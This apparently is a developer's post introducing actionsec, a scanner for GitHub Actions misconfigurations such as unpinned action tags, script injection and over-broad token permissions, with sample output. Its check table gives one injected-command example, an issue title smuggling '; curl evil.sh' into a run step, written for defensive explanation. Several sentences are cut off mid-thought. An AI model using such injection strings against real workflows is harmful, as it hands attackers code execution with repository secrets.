A zero-dep CLI that scans your GitHub Actions for the mistakes that actually get repos compromised A developer built actionsec, a zero-dependency CLI tool that scans GitHub Actions workflows for security vulnerabilities like unpinned action tags and script injection risks. The tool runs via `npx actionsec` or `pip install actionsec` and identifies issues such as mutable action tags, broad permissions, and pull_request_target checkout flaws without requiring a YAML parser. Actionsec is designed as a fast, zero-config first pass for pre-commit hooks or CI gates, complementing deeper tools like actionlint and zizmor. Your CI workflow is the softest target in your repo. It runs automatically, it has a GITHUB TOKEN that can push commits, and it can read your secrets. The supply-chain attacks of 2025 — reviewdog, tj-actions/changed-files — all came in through the same unlocked door: a workflow that trusted a mutable action tag , so when the upstream tag got repointed at malicious code, every consumer The uncomfortable stat: 71% of repositories never pin their actions to a commit SHA https://arxiv.org/html/2502.06662v1 . @v4 is not a version — it's aI wanted a five-second check for this and the other top footguns, with nothing to install and nothing to configure. So I built actionsec . npx actionsec .github/workflows/ci.yml ✗ critical L12 pull-request-target-checkout pull request target checks out PR head code — untrusted code runs with a write token ✗ critical L16 script-injection untrusted github.event.pull request.title in a run step ✗ high L5 broad-permissions permissions: write-all gives the token full read/write ✗ high L13 unpinned-action some-marketplace/deploy-action@main is a mutable branch — pin to a SHA ✗ medium L10 unpinned-action actions/checkout@v4 is a mutable tag — pin to a SHA ✗ 5 issue s in 1 of 1 file s — 2 critical, 2 high, 1 medium | Check | Why it matters | |---|---| unpinned-action | @v4 / @main is mutable. If the upstream tag is repointed compromise or maintainer error , you run new code with your token. Pin to a 40-char SHA. | script-injection | ${{ github.event.issue.title }} in a run: step is substituted into the shell before it runs — a crafted issue title like "; curl evil.sh \ | broad-permissions | {% raw %} permissions: write-all hands the token the whole repo. One injected command and it's pushing to main . | missing-permissions | No permissions: block means the repo default — often more than the job needs. | pull-request-target-checkout | pull request target runs with a privileged token and secrets; checking out the PR's code then executes a stranger's code with them. | Workflows are YAML, and here's the thing — neither Node nor Python ships a YAML parser in the standard library. Pulling one in would mean the tool itself has a So actionsec doesn't parse YAML into a tree at all. It scans line by line with light block-awareness. That sounds crude, but it turns out every one of these checks is textually distinctive — a uses: line, a ${{ }} expression inside a run: block — so a careful line scanner catches them without ever needing to understand the document structure. The payoff: it installs in one step, depends on nothing, and runs in milliseconds. It even distinguishes a third-party action on a tag, high , from a GitHub-owned actions/ on a tag, medium . It is not trying to replace actionlint https://github.com/rhysd/actionlint YAML/syntax validation or zizmor https://github.com/woodruffw/zizmor deep dataflow analysis . It's the fast, zero-config first pass that fits in a pre-commit hook or a one-line CI gate. fail the build on the serious stuff - run: npx actionsec --min-severity high Exit 0 clean, 1 issues found, 2 error. --format json for tooling. npx actionsec Node — zero deps pip install actionsec Python — pure stdlib, works on any repo Both produce byte-for-byte identical output. Point it at a repo you maintain — npx actionsec path/to/repo — and tell me what it finds. I'm especially curious how many @v4 s are hiding in workflows people think of as "official and therefore safe." When you write a workflow, do you pin actions to a SHA, or is @v4 good enough for your threat model?